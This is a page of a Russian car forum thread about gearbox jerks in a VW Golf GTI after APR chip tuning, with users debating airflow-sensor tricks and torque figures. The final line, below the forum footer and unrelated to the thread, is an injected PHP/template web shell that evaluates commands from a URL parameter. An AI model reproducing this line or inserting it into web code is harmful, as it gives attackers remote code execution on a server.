+ Ответить в теме
Страница 4 из 12 ПерваяПервая ... 2 3 4 5 6 ... ПоследняяПоследняя
Показано с 31 по 40 из 112

Тема: Пинки в DSG после чип тюнинга APR


  1. #31
    GTI-Racing KorupZZioner is on a distinguished road Аватар для KorupZZioner
    Регистрация
    29.12.2011
    Откуда
    Уфа рядом
    Машина
    GTI 5 DSG full EXHAUST 2-4 APR
    Сообщений
    50
    Всё правильно про возросшую нагрузку и то как её видит DSG по кану. Я это и пытаюсь донести до Михаила (в начале поста). И изолента на расходомер это один из способов снизить расчитываемую нагрузку моторным.Так сказать обман DSG. Но мне же говорят что мы умные , а ты тут проблемму какой то изолентой пытаешься решить. И ведь толчки идут именно в диапазоне 2500 оборотов при максимально возможном моменте для этих оборотов. И здесь дело не в железе это точно.

    Добавлено через 1 час 6 минут
    Сейчас посмотрел максимальный момент в логе с DSG. 300н.м При чём он идёт уже начиная с 2400 об.мин если разгонять на 4 с тапкой в пол в гору.

    Добавлено через 1 час 21 минуту
    У стандартного гольфа идёт 280 н.м в стоке. Т.е чип апр для полного выхлопа под 95 бензин даёт прирост в 20 н.м и 30 л.с примерно.Маловато конечно. Я вот думаю может залить чип под 98 и интейк. И при этом интейк не ставить. Кто нить так делал ????
    Последний раз редактировалось KorupZZioner; 11.09.2012 в 10:42. Причина: Добавлено сообщение

  2. #32
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    И изолента на расходомер это один из способов снизить расчитываемую нагрузку моторным.
    ====
    ОК.
    Во первых, расходомер это не единственный датчик для пересчёта нагрузки в МЕД9 мозгах. Скажу больше - в описываемых вами режимах показания расходомера - вторичны.

    Далее, давайте вспомним что меряет расходомер.
    Он меряет скорость потока и параметры для вычисления плотности.
    А потом, зная сечение колбы уже выдаёт граммы в секунду (килограммы в час).
    Так вот, изолента уменьшит сечение колбы. Т.е. скорость потока возрастёт. И расходомер будет "видеть" больше граммов. Т.е. нагрузка не упадёт, а возрастёт.

    Ну и наконец.
    На прилагаемых ниже фоточках корчик о шестиста лошадках.
    Диаметр впуска 100мм.
    Изначально был опробован "фильтр нулевого сопротивления" (ну чтобы камешки не засасывало) из двух слоёв металлической сетки :
    http://img.osudim.org/155/ibi-3071-009.jpg

    Но турбина эту сеточку засасывала на ура.
    Пришлось проапгрейдить и добавить ещё одну, жесткую алюминиевую сетку, которую стелят на пол.
    http://img.osudim.org/155/ibi-3071-021.jpg
    http://img.osudim.org/155/ibiza_explained.jpg

    А теперь представим что будет с изолентой, даже делая скидку на то, что лошадок 250 а не 600, но не забывая учитывать что диаметр не 100мм, а 60мм.

    Безумству храбрых поём мы песню (ц)
    Запомните и "зарубите на носу" : 2.0TFSI+K03 = max300hp 2.0TSI+IHI = max315hp 2.0T(F)SI+K04 = max400hp :)

  3. #33
    GTI-Racing KorupZZioner is on a distinguished road Аватар для KorupZZioner
    Регистрация
    29.12.2011
    Откуда
    Уфа рядом
    Машина
    GTI 5 DSG full EXHAUST 2-4 APR
    Сообщений
    50
    Цитата Сообщение от valj Посмотреть сообщение
    Кирилл, а несут ли подобные защитные сбросы сцепления ДСГ при переключениях вред для коробки? АПР утвеждают, что никакая перепрошивка ДСГ не нужна для корректной работы их прошивок
    Я так скажу. Есть такая процедура как програмирование блоков управления. Эта процедура в оригинале делается с помощью VAS.... в ведомых функциях. Проводится она онлайн сейчас. И прошивка DSG под едишен 35 отличается от прошивки под 200 л.с гольф. И релизы этих прошивок постоянно меняются. До 2008 года их было 3 если мне память не изменяет.

  4. #34
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от valj Посмотреть сообщение
    Кирилл, а несут ли подобные защитные сбросы сцепления ДСГ при переключениях вред для коробки? АПР утвеждают, что никакая перепрошивка ДСГ не нужна для корректной работы их прошивок
    ====
    СБРОС сцепы (отключение коробки от двигателя) это аварийный режим.
    Он наоборот НЕ ДОПУСКАЕТ худших развитий ситуации.
    А вот "блонда резко бросила сцепу" это прямое попадалово на баблос в скором времени.
    Если АПРы утверждают то так оно и должно быть. И так оно и было пока АПРы лили лайтовые консервы. Но АПРы нарушили правило номер один консервных заводов - "создать 10 расово православных, сильных и ярких демокаров и под этот шумок продать 10.000 лайтовых консерв сняв обильный урожай брюквы с хомячков". Они начали "гонку вооружений". Прослушав, наверное, то самое совещание Андрея нашего Барабанцева

    Володин, б***ь, который вашим спецам, сорокалетним пердунам, объясняет, где датчики в мотор-листе! (глухой удар по столу)
    Б***ь, парню двадцать пять лет! Вы сами понимаете, что вы нули перед ним, б***ь? Так вы хоть позорьтесь, сю… хоть приходи?те сюда, молчите, б***ь, слушайте, что вам говорят, и выдавайте вовремя!
    (ц)
    Запомните и "зарубите на носу" : 2.0TFSI+K03 = max300hp 2.0TSI+IHI = max315hp 2.0T(F)SI+K04 = max400hp :)

  5. #35
    GTI-Racing KorupZZioner is on a distinguished road Аватар для KorupZZioner
    Регистрация
    29.12.2011
    Откуда
    Уфа рядом
    Машина
    GTI 5 DSG full EXHAUST 2-4 APR
    Сообщений
    50
    Миша уехал оказывается в Америку. По этому Apr пока в теме не часто...... Турборабит, вы не поняли что я изолентой прикрыл. Я снизил наоборот поток воздуха. До изоленты 192 примерно , с изолентой более 185 я с него не увидел. Тут я сделал всё грамотно. И в дсг при этом момент в логе упал до 290 н.м. И рывки сразу прошли. Я не понял , что за последняя цитата )))
    Последний раз редактировалось KorupZZioner; 11.09.2012 в 12:10.

  6. #36
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от KorupZZioner Посмотреть сообщение
    Миша уехал оказывается в Америку.
    ====
    За новой партией корнеплода для хомяков ?

    Добавлено через 9 минут
    Цитата Сообщение от KorupZZioner Посмотреть сообщение
    Турборабит, вы не поняли что я изолентой прикрыл. Я снизил наоборот поток воздуха. До изоленты 192 примерно , с изолентой более 185 я с него не увидел. Тут я сделал всё грамотно. И в дсг при этом момент в логе упал до 290 н.м. И рывки сразу прошли.
    ====
    Безумству храбрых поём мы песню.
    Ну если изолента помогла, можно придумать деревянный рестриктор на впуск. И не мучать АПР такими мелочами :)
    Последний раз редактировалось turborabbit; 11.09.2012 в 11:49. Причина: Добавлено сообщение
    Запомните и "зарубите на носу" : 2.0TFSI+K03 = max300hp 2.0TSI+IHI = max315hp 2.0T(F)SI+K04 = max400hp :)

  7. #37
    GTI-Racing KorupZZioner is on a distinguished road Аватар для KorupZZioner
    Регистрация
    29.12.2011
    Откуда
    Уфа рядом
    Машина
    GTI 5 DSG full EXHAUST 2-4 APR
    Сообщений
    50
    Я смотрю у вас Рабит с АПром практически супружеские отношения ))) А вам не влом практически в каждом посту где присутствует разговор с АПРом выливать негатив в их адресс ? Если честно то это не хорошо. Я думаю разговор должен вестись исключительно в деловом русле, а не "корнеплоды","хомячки" и т.д. Словесный понос удел слабых и баб....

  8. #38
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от KorupZZioner Посмотреть сообщение
    Я смотрю у вас Рабит с АПром практически супружеские отношения ))) А вам не влом практически в каждом посту где присутствует разговор с АПРом выливать негатив в их адресс ? Если честно то это не хорошо. Я думаю разговор должен вестись исключительно в деловом русле, а не "корнеплоды","хомячки" и т.д. Словесный понос удел слабых и баб....
    ====
    Неа, мне на в лом.
    И пофиг хорошо это или нет. "Хорошо" - вообще понятие относительное.
    А конструктива я насыпал чуть более чем достаточно.
    Насчёт хомячков и брюквы - просто называю вещи своими именами. Один из приёмов высказать то что думаешь, но без мата.
    Насчёт "слабых и баб" - опять же пофиг. Из серии "опять в интернете кто-то не прав".
    Запомните и "зарубите на носу" : 2.0TFSI+K03 = max300hp 2.0TSI+IHI = max315hp 2.0T(F)SI+K04 = max400hp :)

  9. #39
    GTI-Racing KorupZZioner is on a distinguished road Аватар для KorupZZioner
    Регистрация
    29.12.2011
    Откуда
    Уфа рядом
    Машина
    GTI 5 DSG full EXHAUST 2-4 APR
    Сообщений
    50
    Ну за конструктив спасибо....

  10. #40
    GTI-Racing Serzh will become famous soon enough Serzh will become famous soon enough Аватар для Serzh
    Регистрация
    21.01.2008
    Откуда
    Киев
    Машина
    A4 Allroad
    Сообщений
    1,211
    Цитата Сообщение от KorupZZioner Посмотреть сообщение

    Добавлено через 1 час 21 минуту
    У стандартного гольфа идёт 280 н.м в стоке. Т.е чип апр для полного выхлопа под 95 бензин даёт прирост в 20 н.м и 30 л.с примерно.Маловато конечно. Я вот думаю может залить чип под 98 и интейк. И при этом интейк не ставить. Кто нить так делал ????
    У меня стоит чип Stage2 + под 95 и 98, но нет впуска, (выпуск и интеркулер)
    MKV GTI APR Stage 2 - продан ((
    AUDI A4 allroad
    МB E280 4 MATIC - продан

+ Ответить в теме
Страница 4 из 12 ПерваяПервая ... 2 3 4 5 6 ... ПоследняяПоследняя

Похожие темы

  1. Help ! ! ! Непонятные пинки
    от Moskow-of-Don в разделе Golf 6
    Ответов: 11
    Последнее сообщение: 03.01.2024, 05:09
  2. Распродажа Тюнинга!!!
    от diza-flint в разделе Тюнинг
    Ответов: 5
    Последнее сообщение: 26.04.2014, 14:34
  3. Немного тюнинга на Golf V/VI
    от Nik-os в разделе Тюнинг
    Ответов: 27
    Последнее сообщение: 04.07.2013, 00:56
  4. V5 2.3 Agz Возможности Тюнинга
    от Димон в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 8
    Последнее сообщение: 20.01.2009, 14:43
  5. Главынй инструмент тюнинга :))
    от ААГ в разделе Курилка
    Ответов: 7
    Последнее сообщение: 18.08.2006, 14:39

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}